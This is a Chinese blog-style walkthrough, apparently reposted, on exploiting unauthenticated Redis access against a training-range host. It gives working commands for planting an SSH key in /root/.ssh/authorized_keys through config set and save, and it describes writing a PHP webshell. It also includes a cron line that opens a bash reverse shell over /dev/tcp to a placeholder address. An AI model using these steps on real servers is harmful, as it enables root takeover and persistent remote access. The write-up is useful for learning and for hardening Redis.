Redis未授权访问

栏目: 数据库 · 发布时间: 6年前

内容简介:Redis默认配置未配置密码,如果Redis以root用户运行,攻击者可以给root账号写入SSH公钥文件,直接通过SSH免密登录服务器。Redis默认端口为6379端口。若此端口未限制公网访问,会导致Redis服务暴露公网,造成未授权访问。已知网络靶场IP为219.153.49.228,Redis端 口为47234,提供了http端口为41481。使用redis客户端进行连接尝试:

Redis默认配置未配置密码,如果 Redis 以root用户运行,攻击者可以给root账号写入SSH公钥文件,直接通过SSH免密登录服务器。Redis默认端口为6379端口。若此端口未限制公网访问,会导致Redis服务暴露公网,造成未授权访问。

0x02 攻击手段

连接测试

已知网络靶场IP为219.153.49.228,Redis端 口为47234,提供了http端口为41481。使用redis客户端进行连接尝试:

./redis-cli -h 219.153.49.228 -p 47234

Redis未授权访问

本地生成公私钥

若Redis以root用户运行,可以直接将本地生成的公钥导入到/root/.ssh/authorized.keys文件中实现免密登录。

ssh-keygen -t rsa

Redis未授权访问

公钥写入

由于网络靶场写入/root/.ssh/的权限受限,因此以之前对公司内网测试获取的一台Redis服务器为例。

先将公钥写入文件:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > h.txt

Redis未授权访问

将h.txt的内容写入到redis服务器key为test对应的value中。

cat h.txt | /usr/redis/./redis-cli -h xxx.xxx.xxx.xxx -p 6389 -x set test

Redis未授权访问

设置redis的dbfilename路径为/root/.ssh/authorized_keys,并保存。

config set dir /root/.ssh

config set dbfilename authorized_keys

save

Redis未授权访问

直接使用ssh访问服务器查看权限和文件,可见为root权限用户。

Redis未授权访问

写入webshell

网络靶场写入/root/.ssh/的权限受限,且存在 php 站点,因此尝试写入webshell。

设置Redis备份目录为php站点目录:/var/www/html/,文件名任意。

Redis未授权访问

使用浏览器访问webshell,可以正常访问。

Redis未授权访问

写入定时任务

同理,将Redis备份目录改为/var/spool/cron,使用nc进行监听反弹shell。

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/ip_addr/port 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Cyberwar

Cyberwar

Kathleen Hall Jamieson / Oxford University Press / 2018-10-3 / USD 16.96

The question of how Donald Trump won the 2016 election looms over his presidency. In particular, were the 78,000 voters who gave him an Electoral College victory affected by the Russian trolls and hac......一起来看看 《Cyberwar》 这本书的介绍吧!

html转js在线工具
html转js在线工具

html转js在线工具

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具